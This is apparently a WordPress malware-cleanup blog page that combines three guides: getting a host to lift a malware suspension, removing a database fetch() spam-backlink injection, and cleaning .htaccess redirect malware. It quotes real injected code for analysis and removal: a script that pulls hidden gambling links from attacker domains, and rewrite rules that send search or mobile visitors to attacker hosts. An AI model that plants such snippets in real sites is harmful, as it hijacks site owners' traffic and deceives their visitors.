Category: WordPress Malware

You opened your laptop, typed your domain, and instead of your site you got a page screaming “This Account Has Been Suspended” — or “This site is currently unavailable” on SiteGround, or “Hosting plan is suspended” on Hostinger. Your host pulled the plug. And in most of these cases, the trigger isn’t a missed invoice. It’s malware. I’ve cleaned more than 4,500 hacked WordPress sites, and a sizable chunk of them came to me after the host had already suspended the account. The recovery process is very different from a normal malware cleanup — you’re racing against deletion timers, you have to talk to an abuse team that doesn’t trust you yet, and any wrong move can get your account terminated for good. This is the playbook.

What “This Account Has Been Suspended” Actually Means

When a hosting provider suspends an account, they stop serving your website at the web-server level. The DNS still resolves to your hosting IP, but instead of routing the request to your WordPress install, the server returns a static suspension page. Your files are not deleted — yet. They sit on disk, frozen, until the abuse team or billing team marks the account as resolved. The exact wording on that page depends on the hosting stack. cPanel-based hosts (Bluehost, HostGator, Namecheap shared, A2, many resellers) show the classic “This Account has been Suspended” page served from /cgi-sys/suspendedpage.cgi. SiteGround shows a rain cloud illustration with “This site is currently unavailable.” Hostinger shows a pink “Hosting plan is suspended” banner inside hPanel. WP Engine and Kinsta send you to a maintenance-style page through their custom stacks.

What does /cgi-sys/suspendedpage.cgi mean?

suspendedpage.cgi is a built-in cPanel/WHM script that displays a default suspension page to every visitor. The path /cgi-sys/suspendedpage.cgi in the browser address bar is not from your WordPress site — it’s the cPanel server intercepting the request before WordPress ever loads. If you see that URL, your host is using cPanel and has explicitly run the “Suspend Account” action against your username. Only the hosting company can clear it.

Why Malware Is the Most Likely Cause (Even If the Page Doesn’t Say So)

The suspension page is deliberately vague. Hosts don’t broadcast malware details on a public URL because it would tip off attackers and embarrass you. The real reason lives in a ticket or email — usually titled something like “Account suspended – Malicious content detected,” “Abuse notification,” “AUP violation – Malware,” or “Urgent: action required on your hosting account.” In the cleanups I’ve done after a hosting suspension, the trigger usually falls into one of these categories:

• • SEO spam / Japanese keyword hack generating tens of thousands of cloaked pages and burning CPU. See my Japanese keyword hack guide for what the host actually sees in your error logs.

• • PHP webshells and backdoors — files like wp-tmp.php, radio.php, files with names that look legitimate (wp-blog-header.php dropped in the wrong folder) or with random eight-letter names in /wp-content/uploads/. Hosts run YARA/ClamAV signatures and flag these on contact.

• • JavaScript redirect malware sending mobile users to scam landing pages. Hosts catch this via abuse reports from visitors or from Google Safe Browsing notifications forwarded to them.

• • Outbound spam from a compromised wp-mail setup — your site is now part of a botnet sending phishing email, and the host’s mail logs lit up like a Christmas tree.

• • Phishing pages — hackers drop a fake Microsoft/PayPal/banking login form inside a deep folder. One PhishTank report and the host suspends you within hours.

• • Excessive resource usage caused by malware — the malware itself isn’t the citation, the CPU/inode/IO bill is, but the underlying cause is still a hacked site.

If your suspension email mentions any of those terms — “malicious file,” “abuse report,” “phishing,” “spam complaint,” “malware signature,” “abuse@” — you are dealing with a security incident, not a billing problem. Treat it that way.

Decoding the Suspension Page by Host

Different hosts behave very differently after a suspension. Knowing your host’s playbook is half the battle. Here’s what I’ve seen across hundreds of suspensions.

Bluehost (cPanel)

Bluehost is the most aggressive of the mainstream shared hosts. They suspend on the first confirmed malware hit and the suspension page lives at /cgi-sys/suspendedpage.cgi. They will email you a list of infected file paths, often hundreds of lines long. The cPanel itself usually remains accessible at yourdomain.com/cpanel or my.bluehost.com, so you can still get into File Manager and phpMyAdmin while the public site is down. I’ve documented a real Bluehost suspension recovery in this case study about hidden executable files, and a full account restoration in this Bluehost recovery case study.

SiteGround

SiteGround shows the “This site is currently unavailable” rain-cloud page. They are far less trigger-happy — they tend to quarantine the site rather than nuke access, and the User Area stays usable so you can pull a backup, run their Site Scanner, and use SFTP. They will whitelist your IP on request via chat. SiteGround’s malware policy is documented and predictable. I recommend them to clients for that reason — I explained why in my SiteGround review.

Hostinger

Hostinger’s hPanel shows a pink “Hosting plan is suspended – Contact us” banner on the affected site card. The rest of your hPanel still works. Their abuse team replies through the live chat widget; they usually share a JSON or CSV file with the list of detected malicious files and the timestamps they were last modified. Hostinger gives you a fixed window (typically 7 days) to clean before they delete data.

HostGator, Namecheap Shared, A2, InMotion

All cPanel-based, all serve the standard /cgi-sys/suspendedpage.cgi. Behavior varies by reseller — some keep cPanel open, some kill the whole account login. Always start with chat support to get cPanel access restored under a “cleanup window.”

GoDaddy

GoDaddy’s suspension flow goes through their “Sucuri-by-GoDaddy” or “Express Malware Removal” upsell. They will quote you a price to clean the site for you. You’re not obligated to take that path — you can request a self-clean window. Document everything in the ticket, because GoDaddy abuse reps rotate and context gets lost between handoffs.

WP Engine, Kinsta, Cloudways (managed WP)

Managed WordPress hosts rarely “suspend” in the cPanel sense — they put the site into maintenance/staging mode or take it offline behind a holding page. They almost always include cleanup in their support, though they may charge extra for emergency response. SSH/SFTP access usually stays open.

Step-by-Step: Getting Unsuspended Without Getting Re-Suspended

This is the sequence I follow on every suspended-account cleanup. Skipping steps is how you end up permanently terminated.

Step 1 — Read the abuse ticket carefully (don’t skim)

The abuse ticket has three things you need: the suspension reason, the list of file paths the scanner flagged, and the deletion deadline. Save a copy of the email and the file list locally before doing anything. If the list is missing, reply and ask: “Please send the full list of files flagged by your security scanner, including paths, timestamps, and the signature name (e.g., php.malware.backdoor.generic).”

Step 2 — Request IP whitelisting and a cleanup window

You can’t fix what you can’t reach. Most hosts will whitelist your public IP so you can access the suspended site for cleanup. Use this exact wording — it works because it tells the abuse team you understand the protocol:

Step 3 — Take a full backup before you touch anything

Yes, even when the site is hacked. You need the dirty backup for two reasons: forensics (so you can study which entry point was used) and rollback safety (so you don’t accidentally delete a “malicious” file the host flagged as a false positive — it happens). Pull a full file zip and a database dump via SSH or File Manager. If you need a refresher, my UpdraftPlus backup guide walks through it.

Step 4 — Process the host’s file list properly

Don’t just bulk-delete the list. For each flagged path: open it, confirm it’s actually malicious (compare to a fresh WordPress install for core files, compare to the original plugin/theme zip for plugin/theme files), then either remove or replace. Most lists fall into three buckets:

• • Pure malware drops — files that shouldn’t exist. Delete.

• • Infected core/plugin/theme files — replace with the original from the WordPress repo or the vendor.

• • Database injections — usually in wp_options (rogue rows in active_plugins, siteurl overrides), wp_posts (spam content), and wp_users (hidden admins). My guide on finding hidden admin users covers the user-table angle.

Step 5 — Find the backdoors the host’s scanner missed

This is the step that separates a permanent fix from a 48-hour re-suspension. Host-side scanners catch maybe 60–80% of what’s there. They miss heavily obfuscated webshells, sleeper backdoors with no signature, and database-resident malware. If you only delete what the host listed, the attacker walks back in within hours through a backdoor that was never flagged, the site gets re-infected, the host re-scans, and you’re suspended again — this time with much less goodwill from the abuse team. Run a manual hunt across wp-content/uploads/, wp-content/plugins/, and the WordPress root. Look for recently modified PHP files in folders that shouldn’t have PHP at all (the uploads folder), files with random names, files with base64_decode, gzinflate, eval, str_rot13, or assert in unusual contexts. I cover this in depth in my obfuscated PHP malware detection guide and this writeup on a hidden backdoor I found in a client’s site.

Step 6 — Patch the entry point, not just the symptom

If you don’t fix how they got in, they get back in. The usual entry points: an outdated plugin with a known vulnerability, a nulled theme, a leaked admin password, exposed wp-config.php from a public backup, or cross-site contamination from another infected site on the same hosting account. Identify it, close it, then rotate every credential the site touches — WordPress admin users, database password, SFTP password, hosting account password, and any API keys in wp-config.php or .env. This is the step most owners skip, which is why I wrote “Why WordPress malware keeps coming back.”

Step 7 — Reply to the ticket with proof, then request reactivation

This is where most owners blow it. They reply “all clean, please reactivate,” the host re-scans, finds the missed backdoor, and slams the door shut. Instead, send a structured report:

1. 1. Confirmation that every file on their list was removed or replaced (one-line per file is fine).

1. 1. A summary of additional backdoors you found and removed that weren’t on their list.

1. 1. A statement of the entry point you patched (e.g., “Outdated [plugin name] 1.4.2 upgraded to 1.5.7; CVE-XXXX patched”).

1. 1. A clean scan report — Wordfence, Sucuri SiteCheck, or the host’s own scanner.

1. 1. A short “future prevention” line (WAF enabled, 2FA on admins, backups configured).

That report converts the abuse team from skeptic to ally. Reactivation usually happens within hours instead of days.

The Hidden Trap Most Posts Don’t Mention: Premature Reactivation Requests

Every hosting abuse team gets the same volume of “it’s clean now, please reactivate” replies that are obviously not clean. Their scanners catch this on re-scan, and from that point you are flagged as a high-risk account. A second strike usually means a much longer suspension window and a real conversation about termination. On Bluehost, I’ve seen accounts go straight to “30 days to migrate, then deletion” after a botched re-scan. The rule is: never ask for reactivation until you can pass the host’s scan yourself. Most cPanel hosts run ImunifyAV or similar tools and let you re-scan from cPanel before submitting. Use that. If you don’t have access, run Wordfence + a fresh manual file integrity check against the WordPress.org checksums and only then submit.

When the Malware Keeps Reappearing After You Clean It

Some infections regenerate. You delete a file, refresh, and it’s back. This is a sign of a persistence mechanism — a hidden cron job, a watchdog process, a “regenerator” hook in a database option, or a compromised must-use plugin. If that’s happening, stop deleting files in a loop and isolate the regenerator first. I documented one of these in the regenerating WordPress malware case study and another in the wp-blog-header.php regeneration case. Hosts will not be patient with a site that re-infects itself during a cleanup window — find the regenerator, kill it, then resume.

If Your Host Has Already Deleted the Account

Worst case: deadline passed, you didn’t act, account is gone. Your options shrink fast but they’re not zero:

• • Ask for a final backup. Many hosts keep a short window (7–30 days) of internal backups even after deletion. Open a billing ticket and request a one-time data export. It’s not advertised but it often works.

• • Check your own backups — UpdraftPlus to Google Drive, All-in-One WP Migration files, server snapshot from a managed host, or even an old staging copy. Any of these can be the seed for a rebuild.

• • Reconstruct from Google’s cache and the Wayback Machine for content; the database and theme can be partially rebuilt this way if you have nothing else.

• • Move to a different host before restoring — if the old host terminated for AUP violation, restoring on the same account is usually blocked. Restore on a clean account, clean the backup as you go.

Preventing the Next Suspension

Once you’re back online, the work isn’t done. Hosts watch reinstated accounts more closely than first-time ones. Burn through this checklist:

• • Update WordPress core, every plugin, every theme — even the ones you don’t use, then delete the unused ones.

• • Remove any nulled or pirated plugins/themes. They are the #1 source of repeat infections; see the risks of nulled plugins.

• • Enable 2FA on every WordPress admin. Force a password reset for all users with publishing rights.

• • Install a security plugin with file integrity monitoring (Wordfence, Solid Security, or Sucuri).

• • Set up automatic off-site backups — daily for active sites — to a separate provider than the host. If your host deletes you, an on-host backup won’t help.

• • Tighten file permissions (644 files, 755 folders, 440 on wp-config.php where allowed).

• • Disable PHP execution in /wp-content/uploads/ via .htaccess or NGINX rules. This single change kills most uploaded webshells.

For the full post-cleanup checklist I use on every recovered site, see “What to do after fixing a hacked WordPress site.”

FAQ

How long does a malware suspension last?

From a few hours to indefinitely. If you respond fast with a clean re-scan, most hosts reactivate within 2–24 hours. If you ignore the ticket, the typical window before account deletion is 7–30 days depending on the provider.

Can I just move to a new host instead of cleaning?

Technically yes, practically no. If you migrate an infected site to a new host, the new host’s scanner will catch the same malware within days and suspend you again — often faster, because the malware is already known to security vendors. Clean first, then migrate if you want to.

My host says I need to pay them for malware removal. Do I have to?

No. The host’s own cleanup service (often labeled “Express Malware Removal” or routed through their security partner) is one option among many. You are free to clean the site yourself or hire an independent specialist. The host is obligated to give you a reasonable cleanup window either way.

Why was my account suspended without warning?

For malware-related suspensions, most hosts skip the warning step on purpose. A delay would let the infection spread to other accounts on the same server, or let phishing pages collect more victims. Billing-related suspensions normally come with multiple warnings; malware-related ones do not.

Does a hosting suspension affect my Google rankings?

Yes, but indirectly. Google can’t crawl a suspended site, so cached pages get devalued and ranking signals decay. Worse, if the malware that triggered the suspension also caused a Google Safe Browsing flag, you’ll need to file a reconsideration request through Search Console after cleanup. My blacklist removal guide walks through that process.

Will my email work while my hosting account is suspended?

Usually no, if your email runs through the same hosting account (cPanel mail). Outbound spam is one of the common suspension triggers, so hosts typically kill mail along with web service. Use a separate email provider (Google Workspace, Microsoft 365, Zoho) for business email to avoid losing communication during a hosting incident.

Is “your page is at risk of being suspended” the same warning?

That’s the pre-suspension notification. The host has detected something — usually elevated resource usage or a low-severity malware hit — and is giving you a short window to fix it before pulling the trigger. Treat this email as if the suspension already happened: scan, clean, and reply with proof.

When to Get Professional Help

A malware suspension is one of the few scenarios where speed has a measurable price tag — every hour your site is down is lost traffic, lost sales, and lost trust. If any of the following are true, get a specialist on it now, not in three days:

• • The host’s flagged list is 100+ files, or includes core WordPress files.

• • You’ve cleaned once and the malware came back.

• • You don’t have a recent clean backup.

• • You’re seeing the Japanese keyword hack, pharma hack, or mobile-redirect symptoms — these always have multi-layer persistence.

• • Your deletion deadline is less than 72 hours away.

I’ve handled 4,500+ hacked WordPress cleanups — including dozens of mid-suspension recoveries on Bluehost, SiteGround, Hostinger, HostGator, GoDaddy, and managed WP hosts. If you’re staring at a suspended-account page right now and a ticking deletion clock, you can request a malware cleanup here or contact me directly. I respond to incident-mode requests within the hour. Related reading: The complete WordPress malware removal expert guide · How to detect WordPress malware · What 4,500 site cleanups taught me · JavaScript redirect malware removal · How to secure a WordPress site

If your WordPress site is loading scripts from domains you’ve never heard of, if Google Search Console suddenly shows queries about slot gacor or zeus379, or if your security plugin keeps saying “site is clean” while your traffic quietly tanks — you are almost certainly dealing with a database-level spam backlink injection.

This isn’t a file infection. It’s a fetch() script hiding inside your wp_posts table that pulls hundreds of hidden dofollow backlinks from a remote server every time someone visits your page. Search engines see those links. Your visitors usually don’t. And most file scanners — including the free version of Wordfence — won’t catch it because they don’t deep-scan post content by default.

I’ve cleaned this exact pattern off dozens of sites in the past 6 months — Divi, Elementor, WPBakery, and even classic-editor blogs. This guide is the symptom-first walkthrough I wish every infected site owner had on day one.

The 8 Symptoms That Point to a Database Spam Injection

If two or more of these match your situation, you’re almost certainly looking at this exact attack. Read them like a triage checklist:

1. Your browser’s Network tab shows unknown outbound calls. Open DevTools → Network → reload your homepage. You’ll see your page calling out to domains like sengatanlebah[.]shop, jasabacklink[.]buzz, or other strange .shop / .buzz / .xyz / .top domains you never added.
2. Google Search Console queries don’t match your business. Your gardening blog is suddenly impressing on “slot gacor maxwin,” “zeus379 login,” or “mahkota188 daftar.” These keywords aren’t in your content, but Google is associating them with your domain.
3. “Site:yourdomain.com” shows pages or snippets you didn’t write. Search site:yourdomain.com in Google. If snippets show gambling, pharma, or Indonesian/Japanese keywords inside results for your real pages, your content is being parasitized.
4. Wordfence, iThemes, or Sucuri free scan says “clean.” Free versions of most security plugins scan files — not the database. The free Wordfence scanner doesn’t deep-scan post_content by default; database scanning only came to Wordfence as a separate CLI tool in late 2024.
5. Your page builder shows “broken” or empty code blocks. Open the homepage in Divi, Elementor, or WPBakery. A previously-clean Code module now shows raw <script> tags or weird shortcode wrappers around something you never added.
6. Pages load slightly slower for no reason. Each fetch() call adds a network round-trip. PageSpeed Insights will flag “blocking third-party resources” from a domain you don’t recognize.
7. Your rankings dropped without an algorithm update. Hidden outbound links to gambling/pharma domains pass authority away from your site and can trigger an “Unnatural Outbound Links” manual action.
8. Refreshing the page sometimes shows briefly visible spam. If the display:none style loads a fraction of a second after the HTML, fast-loading browsers (especially on mobile) flash the spam text before hiding it.

If you matched #1 or #2, you can stop reading symptoms and move straight to detection — those are near-certain signals. For a broader overview of what database malware looks like across all variants, see my complete WordPress database malware guide.

 

What This Malware Actually Does (and Why It’s Built to Hide From You)

Most WordPress malware tries to do something obvious — redirect users, deface the homepage, drop ransomware. This one is the opposite. It’s a parasite-SEO attack designed to stay quiet for months while exploiting your domain authority.

Here’s the workflow the attacker built:

1. Attacker compromises your site (usually through a vulnerable plugin or a weak admin password).
2. Instead of uploading files, they edit your homepage’s post_content directly inside wp_posts and insert a <script> block.
3. That script runs in every visitor’s browser and fetch()es a remote text file — usually back.js or sigma.js — from a domain the attacker controls.
4. The remote file isn’t actually JavaScript. It’s a chunk of HTML containing a hidden <div style="display:none"> with dozens to hundreds of dofollow links to slot/gambling/pharma sites.
5. The script writes that HTML into an empty <div id="datax"> on your page. Visitors can’t see it. Googlebot can.
6. The attacker can swap the remote file at any time. Today it’s gambling links. Tomorrow it’s phishing. You won’t know unless you watch the Network tab.

This is the same broader pattern Sucuri’s research team has been tracking as the rise of Indonesian online-casino SEO spam — they reported gambling-spam detections surpassed long-standing Japanese SEO spam in their 2024 telemetry. The hidden-div parasite-SEO method specifically dates back to at least 2022 when it was first documented in WPBakery’s vc_raw_html shortcodes.

Real Evidence: What’s Actually Inside back.js

Here’s the actual payload I captured from a compromised site (domain defanged for safety):

Notice three things in the screenshot:

• The wrapping <div style="display:none"> — that’s why visitors don’t see anything.
• Every link is rel="dofollow" — passing authority is the whole point.
• The anchor texts are Indonesian gambling keywords (slot dana, slot gacor, slot resmi, slot pulsa, akun pro, slot thailand) — these are the queries Google starts indexing for your domain.

The Exact Code You’ll Find in wp_posts

Wrapped inside a page builder shortcode (typically [et_pb_code] in Divi, an HTML block in Gutenberg, or a Custom HTML widget), the injected payload looks like this:

<script>
fetch('https://sengatanlebah[.]shop/back.js')
  .then((resp) => resp.text())
  .then(y => document.getElementById("datax").innerHTML = y);

fetch('https://jasabacklink[.]buzz/backlink/sigma.js')
  .then((resp) => resp.text())
  .then(y => document.getElementById("info1").innerHTML = y);

fetch('https://jasabacklink[.]buzz/backlink/teratai.js')
  .then((resp) => resp.text())
  .then(y => document.getElementById("info2").innerHTML = y);
</script>

The placeholder <div>s (datax, info1, info2) are usually injected right next to the script. The remote domain rotates — I’ve seen variants using .shop, .buzz, .top, .xyz, and .icu TLDs. The behavior is identical.

How to Find It: 3 Detection Methods (Pick One Based on Comfort Level)

Method 1 — Better Search Replace Plugin (No Code Required)

This is the safest route if you’ve never touched phpMyAdmin. Better Search Replace is a free WordPress plugin that runs database queries from inside your admin dashboard.

1. Install and activate Better Search Replace from the WordPress repository.
2. Go to Tools → Better Search Replace.
3. In the “Search for” box, enter just the domain — for example: sengatanlebah (no http, no path, no quotes).
4. Leave “Replace with” empty for now.
5. Select only the wp_posts table.
6. Check “Run as dry run.” This is non-negotiable on a first pass.
7. Click “Run Search/Replace.” The output tells you how many rows contain the malicious string.

Once the dry run gives you a row count, repeat the search with “Run as dry run” unchecked and a clear “Replace with” value (or empty). Better Search Replace will overwrite the matched content.

Important caveat: a blunt domain replace can leave you with a broken <script> shell (empty fetch() call) in the post. That’s harmless but ugly. For a clean result, after replacing, open each affected page in the editor and delete the leftover <script> tags manually.

Method 2 — phpMyAdmin Manual Search (Visual Inspection)

If you want to see exactly what you’re deleting before you delete it, do it from phpMyAdmin:

1. Log into your hosting panel (cPanel, Plesk, SiteGround Site Tools, etc.) and open phpMyAdmin.
2. Select your WordPress database from the left sidebar.
3. Click the Search tab at the top of the screen.
4. In “Find,” type a short distinctive substring like jasabacklink or sengatanlebah.
5. In the table list below, select only wp_posts (uncheck the rest to keep the result focused).
6. Click Go.
7. phpMyAdmin returns matching rows. Click Edit (the pencil icon) on each one.
8. In the post_content field, locate the <script> block from the code example above and delete it (and the empty placeholder <div>s it references).
9. Click Go at the bottom to save.

One thing many tutorials miss: also check wp_postmeta and post revisions. If you’ve edited the homepage repeatedly after infection, copies of the malicious code may live in the post_content of saved revisions (post_type = 'revision'). Those won’t render publicly, but they leave the malware in your database where the next reinfection wave can re-promote it.

Method 3 — Direct SQL (Developer Speed Run)

For sites with hundreds of infected rows, SQL is the only practical option. Two queries: one to verify, one to clean.

Step 1 — Confirm what you’re about to touch:

SELECT ID, post_title, post_status, post_type
FROM wp_posts
WHERE post_content LIKE '%sengatanlebah%'
   OR post_content LIKE '%jasabacklink%';

This tells you which posts/pages/revisions are infected and what state they’re in. Read it carefully before going further.

Step 2 — Surgically remove the malware:

-- Step 2a: neutralize the remote fetch by breaking the domain string.
-- This stops the malware from loading without risking your real content.
UPDATE wp_posts
SET post_content = REPLACE(post_content, 'sengatanlebah.shop', 'REMOVED_MALWARE')
WHERE post_content LIKE '%sengatanlebah.shop%';

UPDATE wp_posts
SET post_content = REPLACE(post_content, 'jasabacklink.buzz', 'REMOVED_MALWARE')
WHERE post_content LIKE '%jasabacklink.buzz%';

Why I prefer this neutralize-then-clean approach over deleting the whole script tag with one query: a REPLACE on the full script string is fragile. If the attacker used slightly different quotes, spacing, or domain casing on any row, the query misses that row. Replacing only the domain catches every variant, breaks all of them immediately, and leaves obvious “REMOVED_MALWARE” markers you can search for and clean up afterward.

How It Got In: The 4 Most Common Entry Points

Removing the symptom isn’t enough. Across the cases I’ve handled, this specific attack pattern almost always traces back to one of these four entry points — find yours, or the malware will be back within days.

1. Compromised admin account. Weak password, reused password, or no 2FA on a Contributor-or-higher user. The attacker logs in and edits the homepage like a normal editor would. Check your wp_users table for unknown accounts — see my walkthrough on finding hidden admin users in WordPress.
2. Vulnerable plugin with arbitrary-content writes. Old form plugins, page-builder add-ons, and “code snippet” plugins occasionally ship with privilege-escalation bugs that let unauthenticated requests write to wp_posts. Your plugins/ directory may look pristine while the database is wide open.
3. Backdoor from a prior cleanup. If the site was hacked before, an undeleted backdoor PHP file is silently editing the database for the attacker. I wrote about exactly this scenario in finding a hidden backdoor in a client’s WordPress site.
4. Stolen database credentials. If wp-config.php was ever publicly exposed (development server, GitHub leak, unprotected backup file in /wp-content/), an attacker doesn’t need to touch WordPress at all — they connect to your MySQL host directly.

Until you identify and close the actual entry point, every cleanup is temporary. This is the core message of my longer post on why WordPress malware keeps coming back.

After-Cleanup Hardening (12-Item Checklist)

Once the database is clean, run through this list the same day. Skipping any single item is the most common reason I see clients return a few weeks later with the same infection.

1. Rotate the database password in your hosting control panel and update wp-config.php.
2. Rotate all WordPress admin passwords. Force a reset on every user with role Contributor or higher.
3. Rotate FTP/SFTP, cPanel, and any hosting-panel passwords.
4. Enable 2FA for every admin. Wordfence, WP 2FA, and miniOrange all have free options.
5. Delete any user accounts you don’t recognize (or downgrade unknown subscribers if your site has open registration).
6. Update WordPress core, every plugin, and every theme — including inactive ones.
7. Remove plugins and themes you don’t actively use. Inactive code is still attackable code.
8. Add define('DISALLOW_FILE_EDIT', true); to wp-config.php. Stops the in-dashboard theme/plugin file editor.
9. Set wp-config.php permissions to 440 and the WordPress root to 755.
10. Install a security plugin that does scan the database — Wordfence’s CLI db-scan (paid), Sucuri (paid), or MalCare. Free file-only scanners will miss the next attempt.
11. Search the database for any other suspicious script tags: SELECT ID FROM wp_posts WHERE post_content LIKE '%<script%';. Most legitimate sites have zero results here.
12. Submit a reconsideration request in Google Search Console only after all of the above. Premature requests delay your recovery by weeks.

For a complete site-recovery framework I follow on every case, see my post-cleanup checklist from real cleanups.

Why Free Security Plugins Often Miss This (And What Actually Works)

I’ll be specific because this question comes up in every consultation:

• Wordfence Free scans files for known signatures and a limited subset of wp_options and post content for blacklisted URLs. It does not deep-scan every row of post_content for arbitrary script tags. Wordfence’s full database scan is a separate paid CLI tool released in late 2024.
• Sucuri SiteCheck (free remote scanner) can sometimes detect the spam output if it crawls the page and the hidden div has loaded — but on heavily-cached pages or behind a paywall, it misses entirely.
• iThemes Security / Solid Security focuses on hardening and brute-force protection. Their malware scanner is opt-in and file-based.
• MalCare and Patchstack do scan the database, but the deep scan typically requires the paid tier.

This is why running a single “free scan” and getting a green checkmark is not evidence your site is clean. For database-resident infections like this one, the only reliable detection methods are: (a) inspecting your homepage’s HTML source in an incognito window, (b) checking the browser Network tab for unknown outbound requests, and (c) running a LIKE '%<script%' query directly against wp_posts.

Related Variants You Might Actually Have

If the cleanup steps above don’t fully match what you’re seeing, you may be looking at a close cousin instead. Quick disambiguation:

• If the spam is in footer.php rather than wp_posts, read my hidden links malware guide.
• If your Google Search Console is showing thousands of Japanese keyword pages, read the 2025 Japanese keyword hack guide — same parasite-SEO motive, different mechanism.
• If your site redirects mobile visitors to spam but stays clean on desktop, this is mobile cloaking — see my mobile redirect hack case study.
• If Google is indexing tens of thousands of fake URLs on your domain, the case study to read is how I removed 10,500 SEO spam URLs from Google Search in 12 days.
• If the database also contains weird obfuscated characters (Greek letters mixed in), read about the Greek text database malware variant.

About This Guide (and Why You Can Trust It)

I’m MD Pabel, a WordPress security engineer who has personally cleaned over 4,500 hacked sites in the past several years — across hosts including SiteGround, Bluehost, Hostinger, Kinsta, WP Engine, and Cloudways. The detection steps and SQL queries in this post are the same ones I run on paid client work. The screenshots are from real infected sites (anonymized).

If you want to handle the cleanup yourself, every method above is complete enough to do it. If the malware keeps coming back, the entry point is unclear, or you don’t want to touch SQL on a live database — that’s exactly when bringing in a specialist saves you days of trial-and-error. You can see my full process and pricing on the WordPress malware removal service page, or read more about my background on the about page.

What Clients Say

FAQ

Why does my WordPress site call out to sengatanlebah.shop or jasabacklink.buzz?

Because the homepage’s post_content in your wp_posts table contains an injected <script> block that runs fetch() against those domains. The remote response is a hidden div full of dofollow spam backlinks that get rendered into your page. It’s a parasite-SEO attack, not a virus on your computer.

Why didn’t Wordfence catch this?

The free version of Wordfence scans files and limited database fields. It does not perform a deep content scan of every row in wp_posts, which is where this malware lives. Wordfence released a separate CLI tool with database scanning in late 2024, but it’s not enabled by default in the plugin. Sucuri’s free SiteCheck can sometimes detect the rendered spam output, but only if its crawler reaches your page before any caching layer intervenes.

Will removing the <script> tag break my page?

No. The script does nothing your website actually needs — it only loads attacker-controlled spam links. Removing the script tag, the empty <div id="datax"> / info1 / info2 placeholders, and the surrounding shortcode wrapper (if any) restores the page to its original state.

Why does the malware keep coming back after I delete it?

Two reasons, almost always. Either there’s a backdoor file in wp-content/uploads/, wp-content/plugins/, or mu-plugins/ that re-injects the malware on a schedule, or a compromised admin account is still in wp_users. Cleanup without closing the entry point is purely cosmetic. See why WordPress malware keeps coming back.

I see the spam in Google search results but not on my page. Am I imagining this?

You’re not. Googlebot fetches and executes JavaScript on a slower schedule than humans see, and indexes the rendered HTML — including the hidden div. By the time you load the page in your browser, the spam div is hidden with display:none and you don’t notice it. Open DevTools, search the rendered DOM for any of the spam domains, and you’ll find them. Or run view-source: on your page and search for “datax.”

How long does it take Google to drop the spam keywords after cleanup?

In my experience, anywhere from 2 weeks to 3 months depending on how long the infection ran and how often Googlebot crawls your site. Faster recovery comes from: a clean reconsideration request via Search Console, a sitemap resubmission, and continued publishing of fresh legitimate content. For a real recovery timeline on a worse-case scenario, see my 12-day, 10,500-URL Google cleanup case study.

Can I just restore from a backup instead of running these queries?

Only if your backup clearly predates the infection, and only if you also close the entry point afterward. Restoring a backup without identifying how the attacker got in just resets the clock on the next infection. If you don’t know when the infection started, look at the modified dates of files in wp-content/uploads/ and the post_modified timestamp on the infected rows in wp_posts.

Last Word

Database-resident spam injections are the new normal in 2026 WordPress attacks, especially driven by the explosion of online-gambling SEO networks operating out of Southeast Asia. The good news: they’re entirely fixable with the methods above, and once you’ve closed the entry point and hardened the site, this specific pattern doesn’t tend to come back.

If you’ve worked through the steps and the malware is still reappearing, or you’d rather not be the one running SQL against a live production database, I do this professionally — and unlike most security plugins, I look at your specific database, not a generic signature list.

Have a related symptom not covered above? The full blog archive covers most variants I’ve encountered — and the case studies walk through real cleanups in detail.

If Sucuri SiteCheck just told you your site is infected with htaccess.spam-seo.redirect.006 (or one of its sister signatures like .001, .001.001, or _gen.003), this guide walks through exactly what the signature means, the real .htaccess code patterns it detects on hacked WordPress sites, and the step-by-step cleanup I use after handling 4,500+ infections.

I’ll keep this focused on this specific Sucuri family of detections. For the broader hack ecosystem — backdoors, mobile-only redirects, blacklist delisting — I’ll link to the deep-dives at the end.

What htaccess.spam-seo.redirect.006 actually is

Sucuri’s research lab maintains a public list of malware signatures. htaccess.spam-seo.redirect.006 belongs to the htaccess.spam-seo family, which catches a specific category of attack:

• htaccess — the malicious payload lives in your .htaccess file (server-side, runs before WordPress loads).
• spam-seo — the goal is Black Hat SEO: manipulating search rankings or stealing your site’s authority to rank spam pages.
• redirect.006 — a numbered variant of redirect-style payloads. The number identifies a specific code pattern Sucuri’s engineers have seen in the wild.

Because .htaccess directives execute before PHP runs, this malware fires no matter which page is requested. Visitors never see the malicious code in “View Source” — they only see the result: a redirect to get-fix[.]win, an Asian gambling site, a pharmacy spam page, or a fake CAPTCHA. The browser developer tools show the redirect happening at the network layer, which makes it look like the destination domain is the attacker — but the real culprit is your own .htaccess.

Sister signatures in the same family

If your scan returned .006, you may also see one or more of these in the same report. They all mean “your .htaccess is compromised” — only the exact code pattern differs:

• htaccess.spam-seo.redirect.001 through htaccess.spam-seo.redirect.009
• htaccess.spam-seo.redirect.001.001, .001.002, .001.003, .001.005 (sub-variants)
• htaccess.spam-seo.redirect_gen.003 (generic pattern matcher)
• htaccess.spam-seo.doorway.002 — generates fake doorway pages
• htaccess.spam-seo.prepend.001 — prepends spam content to legitimate pages
• htaccess.malware.generic.001, .002, .003 — non-redirect .htaccess abuse

The cleanup procedure is the same regardless of the variant number. The signature ID just tells Sucuri’s analysts which fingerprint matched.

The actual code patterns this signature detects

Here are real, sanitized .htaccess samples I’ve pulled from infected WordPress sites that triggered htaccess.spam-seo.redirect.006. If you see anything that looks like these in your file, that’s the malware.

Pattern 1: Conditional referrer redirect (Google traffic only)

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*duckduckgo.*
RewriteRule ^(.*)$ http://malicious-domain[.]tld/redirect.php?u=%{REQUEST_URI} [R=301,L]

This one only fires when a visitor arrives from a search engine. You won’t see it when you type your domain directly into the address bar — which is why owners often think their site is fine while Google traffic is being silently siphoned.

Pattern 2: Mobile user-agent redirect

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipod|blackberry|windows\ phone) [NC]
RewriteRule ^(.*)$ http://spam-target[.]tld/$1 [L,R=302]

Mobile-only redirects are the most common variant I see in real cleanups. Desktop owners testing their own site see nothing; their phone users see gambling pages. (I covered the mobile-only case in detail in Fix WordPress Redirects to Spam Site on Mobile Only.)

Pattern 3: ErrorDocument hijack

ErrorDocument 400 http://attacker-cdn[.]tld/inject/index.php
ErrorDocument 401 http://attacker-cdn[.]tld/inject/index.php
